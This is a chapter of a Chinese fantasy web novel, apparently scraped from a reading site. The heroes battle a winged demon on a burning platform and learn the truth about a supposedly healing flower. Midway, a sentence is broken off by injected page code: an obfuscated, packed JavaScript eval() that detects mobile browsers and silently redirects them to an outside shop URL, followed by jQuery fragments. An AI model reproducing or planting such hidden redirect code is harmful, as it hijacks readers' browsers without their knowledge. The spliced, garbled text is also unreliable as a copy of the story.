44. 封山绝前因

作品:《美强惨的我开打复活赛

    “少在这妖言惑众!”


    晏青眼看形势不对,一掌打过去。


    到底晚了一步,丹行远被那红光霎时间慑住心神。


    脑海中无数碎片飞过,从遥远古老的小镇,年轻的剑客惊鸿一瞥;再到漫天火光之中,执手相望;最后留给他的,是一个决绝的背影……


    一帧帧、一幕幕,被迫滑过脑海。


    形象定格在年轻剑客初见时,朝自己伸出手的那一幕,笑容阳光而青涩,身后却是人间炼狱。


    在他一瞬动摇,身形恍惚时,花溪亭趁机抖动翅膀,猛地挣脱束缚,向天上飞去。


    晏青忙跑过去抓住丹行远的胳膊,焦灼而又担心:“你没事吧?”


    他脸色不好,晏青也不便责怪,而丹行远一如既往也只点点头。看不出哪里不好,也没让人觉得哪里好。


    晏青皱眉:“他叽里咕噜说什么呢,方才那是什么招数?”


    丹行远停顿片刻:“摄人心魂之术。”


    晏青一手放在丹行远肩膀上,正要说什么,很快被头顶的动静吸引了目光。


    在距离火的位置极近的石台上,花溪亭提着瘫软的人靠近石台边缘。


    火光漫天,只映出两个黑色的人影。


    “是怀素锦……该死的,他要干什么?”


    晏青抬头焦急地朝丹行远说道,“你那招能不能再来多几次?”


    丹行远轻微地摇头:“距离太远。”


    台上的花溪亭用手背抹了抹嘴角,闪着银光的匕首抵住不省人事的怀素锦:“哼,原本,还想给你们一个团聚的机会,既然你们如此激动得想要成为晚餐,不如让我早点成全你们吧。”


    头顶传来秃鹫兴奋的嘶鸣。


    晏青咬牙切齿:“打不过就躲,你算什么……”


    匕首滑到怀素锦颈间的肌肤,花溪亭似是很享受,仰头大笑:“哈哈哈哈哈哈,我算什么?我掌握着你们的生死,我莫不是你们的主宰?”


    台下两人绷得没有表情,晏青死死盯着花溪亭的动作。


    火光,漫天的火光映出黑色的恶魔的身影。迦南城的平民还匍匐在地,他们哭泣,他们祷告,他们错向恶魔供奉邪恶的虔诚。


    而火光中的恶魔如此享受他们的恐惧,敲打他们的眼皮,啜饮他们的眼泪,以此灌溉无尽的撒哈拉。


    刀尖抵住柔软的脖子,渗出血珠。


    花溪亭居高临下地看着台下的两人,忽地觉得无趣。


    是啊,人类多么脆弱,只需要再进一厘米,一厘米……


    千钧一发之际,手里软塌塌的身体如弓箭般绷紧,竟一下挣脱怀抱,狠狠将花溪亭撞了下去。


    “素锦!”晏青欣喜地叫道。


    花溪亭猝不及防跌落石台,很快展开身后羽翼。可在那一瞬,熟悉的心绞痛却再次传来。


    关键时刻,丹行远再次出手。


    这次在高空中,花溪亭再没能控制好,羽翼失衡很快跌落在地。几乎是在他落地的瞬间,跳起的晏青讲他制服在地。


    “叶青,你们没事吧!”


    石台上传来怀素锦担忧的叫喊。


    “没事!等我们上去!”


    晏青朝溪亭得意一笑:“天上飞来飞去的,得意什么,我就说早给你打下来,在地上你可不是我们两人的对手。”


    花溪亭被她按住脖子躺倒在地,黑色羽翼被迫收起,落了一地羽毛。他漂亮的黑色长卷发,此刻也只能凌乱地散在地面,身上金色的纹身黯淡下去。


    他不挣扎也不吵闹,安静地任晏青捉拿在地,却在她俯身靠近的那一刻,双眼的红光再次亮起。


    丹行远猛地扯开晏青的肩膀:“切莫被他盯住!”


    晏青觉得好笑,不甘示弱地瞪了回去:“我倒要看看,你有什么能耐?”


    红光熄灭而又闪烁,反复几次。


    两人对峙期间,丹行远的手一直放在晏青的肩上,另一手制住花溪亭,似是担心晏青被惑了心神。


    几番闪烁,晏青眨了眨有些干涩的眼睛,却没甚么感觉:“看来公子修炼不到家啊。”


    花溪亭眉头紧皱:“不,不对……”


    他眨了眨眼,又盯着晏青看了好一会,却又看不出半点错处。


    还是晏青不耐烦地将他的脸别过去:“别看了,火都要烧屁股了,赶紧把我们弄上去。”


    漫天的火势朝三人压下来,灼热的气息直扑面庞,隐约听到怀素锦在石台上焦灼地呼喊着二人的名姓。


    没时间了。


    怀素锦趴在石台上,焦灼地等待。


    头顶的火愈加逼近,而底下更是浓烟阵阵,叫人看不清石台下的形势。她方从催眠状态中强行突破,灵力尚弱,若是冲上来的是花溪亭……她也没有把握。


    紧握石台边缘的手无端攥紧,只见浓烟中展开一双黑色长翼,破开浓烟缓缓向上。


    糟了。


    怀素锦警惕地后退,背靠石壁,双手藏在身后。


    直到看着溪亭带着晏青和丹行远二人冲出浓烟时,她才缓缓放松下来,忙迎上去:“没事吧?”


    晏青原本笑着要说,却看到一团火从怀素锦上方跌落,忙将对方退开。


    几人还心有余悸,又跌落几团火球。


    此刻这方空间已如人间炼狱,烈火烹油之烧灼不过如此,干烤得人汗流不止。火势渐猛,拳头大的火球从天上落下。


    晏青经过九转真火的灼烤,这点温度对她来说倒不算甚么,况且她体内有几道凌寒的忘归剑意护体,在汗流浃背的众人中倒显得最为从容。


    只是此地到底不能久留。


    她猛地扭头看向花溪亭:“你之前说,抵达石台就能开启甬道?”


    阵阵火光之中,溪亭平静地看了她一眼,又转向面前空无一物的石壁,笑得纯洁:“是吗?我不记得了。”


    晏青脸色一变,并指点向他的喉咙:“少绕弯子,想找死就直说。”


    漫天火光在异域男子身后升起,黑色的片片羽毛在火光中随着火势翻滚,滚滚岩浆,天地将倾。


    他却笑得烂漫天真如孩童:“好啊,让我们,一块去死吧。”


    晏青死死地盯着他:对面的男人外表虽狼狈,但姿态依旧昂扬高傲。


    身后烈火翻滚,她知道,这是一场生死博弈。


    他真的什么都不怕,连去死也从容?


    不,不对,根据他的反应,他对此地如此熟悉了解,甚至进出自如,恐怕自有后路。


    他要她怯,她却更不能怯。


    晏青旋即一笑:“不,你不想死。你这样的人,怎么会想死呢?”


    花溪亭却摇摇头:“对你们九州人来说,死亡好像是天大的事,但对我们来说,不过就是生命必经的轮回。”


    他睁开眼,好像在看晏青,又好像在出神,黑色眼眸里倒映着漫天的火光:“你们觉得人死了就要下地狱,每年清明还要做样子,纪念死去的人,而在迦南,死被认为是新生。”


    “所以冥河流淌过迦南大地,摩纳罗花象征着永生。”


    晏青嗤笑:“永生?永生是你们魔族最大的贪念。”


    花溪亭也笑:“古往今来的修


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041041|194379||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    士,谁不想要永生?你们九州修士惺惺作态的得道,也不过是永生的借口。你们又是为什么而来使女的宫殿,不还是为了冥河边的摩纳罗花。”


    晏青承认:“我们是为摩纳罗花来,不过是为治病救人。”


    花溪亭笑了:“摩纳罗花何来治病医人之功效?吃下的人肝肠经脉寸断,大多数人在一个时辰内便气息全无。”


    “什么?”怀素锦惊叫出声。


    在场闻者俱是一震,晏青疑惑:“九州传说,使女当年染上邪祟之症,食摩纳罗花痊愈,可是骗人?”


    花溪亭点点头,后来又摇摇头:“若能挺过一劫,便能得道重塑血肉筋骨。”


    “使女是吃了花,只不过,她那时候只想寻死。”


    丹行远却问:“重塑血肉筋骨为何意?”


    花溪亭答:“发肤如落叶剥去,骨头重塑婴孩,经脉断碎,置之死地而后生。”


    晏青抢问:“那是否能治邪祟之症?”


    花溪亭古怪地看了她一眼,只说:“邪祟之症可怖在与身体争抢主体权,而一旦进入身体便无法剥离,此法不能完全剥离,只能让其沉睡,与其共生。”


    “共生……”晏青喃喃,“如此真相,为何竟无人提起。”


    花溪亭平静地笑,却显得瘆人,头发在漫天火光中飘舞:“正是你们九州修士的贪婪,竟轻信谣言,妄图独占冥河边的摩纳罗花。还要倒打一耙,怪到我们头上。”


    退到石壁上的怀素锦禁不住叫出声:“胡说,分明是你们魔族贪图九州水草丰茂,最先挑起了战争。”


    花溪亭面无表情地转过去看向她:“是吗?占了别人的地,抢了别人的东西,再冠之以冠冕堂皇的借口,难道不是你们九州人一贯擅长的事么?”


    怀素锦有点动摇,晏青向前一步站在她面前,眼神坚定:“现在说这些,又有什么用?既如此,你死了倒也好,事情的真相再也无从得知。”


    趁晏青与花溪亭周旋时,丹行远不知什么时候绕至溪亭身后。说时迟那时快,晏青与他目光相接,骤然出手。


    晏青一把朝他丹田袭去,在对方旋身间只抓下他一枚腰间玉佩。玉佩云纹一闪而过,还没待晏青细看,却被花溪亭回旋打中要害。


    花溪亭动弹之间,又被身后的丹行远制住。两面夹击,又是一番缠斗。


    远在石壁旁的怀素锦一面替二人担心,一面在石壁各处摸索着出处。


    三人僵持不下之时,花溪亭吹起飘忽的口哨。


    头顶很快传来秃鹫沙哑的回应,盘旋着象征着不幸的巨鸟从天上俯冲下来,直冲三人撞来。


    那沙哑的一声声鸣叫充满了灵力,在空气中一圈圈震荡开,火势不敢逼近。


    利爪袭来,竟是钢铁铸成,羽毛张开,如利刃锋利。


    “糟了,走!”


    晏青趁势挣脱了束缚,丹行远也弃了攻势,两人一下退远,却见花溪亭不退不避,张开双手勾住秃鹫的爪子飞上空中。


    离开之时,他朝着底下哈哈大笑:“姑娘说得对,在还未真相大白之前,我何必急着去轮回。你们看到了吗?石台下栖息的白骨,那都是你们贪婪的同胞。”


    “感谢使女的火光再次照耀迦南大漠,今夜,你们就将团聚。”


    他的声音逐渐远去,身影也从头顶狭窄的裂缝中消失。


    满山火海倾城之势从头顶压下来,稀薄的氧气让修士也感到呼吸滞涩。


    灼热感,雀跃的火光,被囚禁的牢笼……


    接下来要怎么办?


    晏青与丹行远对视一眼。